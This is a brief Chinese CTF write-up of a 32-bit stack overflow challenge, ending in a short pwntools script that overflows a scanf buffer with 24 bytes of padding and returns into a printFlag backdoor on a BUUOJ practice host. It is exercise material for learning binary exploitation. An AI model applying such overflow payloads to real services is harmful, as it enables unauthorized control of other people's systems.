# 1. 查看程序
32 位程序,开启了 NX
main:
printFlag:
# 2. 漏洞分析
这里调用了 scanf 函数,可以进行溢出,然后有个后门函数,溢出返回到这里就可以得到 flag
这里看 ida 的距离 ebp 的偏移不准确,gdb 调试是 24 (0x18), 而 ida 是 0x10
# 3.exp
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote('node4.buuoj.cn',29017) | |
printflag=0x804856D | |
payload1=b"a"*(24)+p32(printflag) | |
p.sendline(payload1) | |
p.interactive() |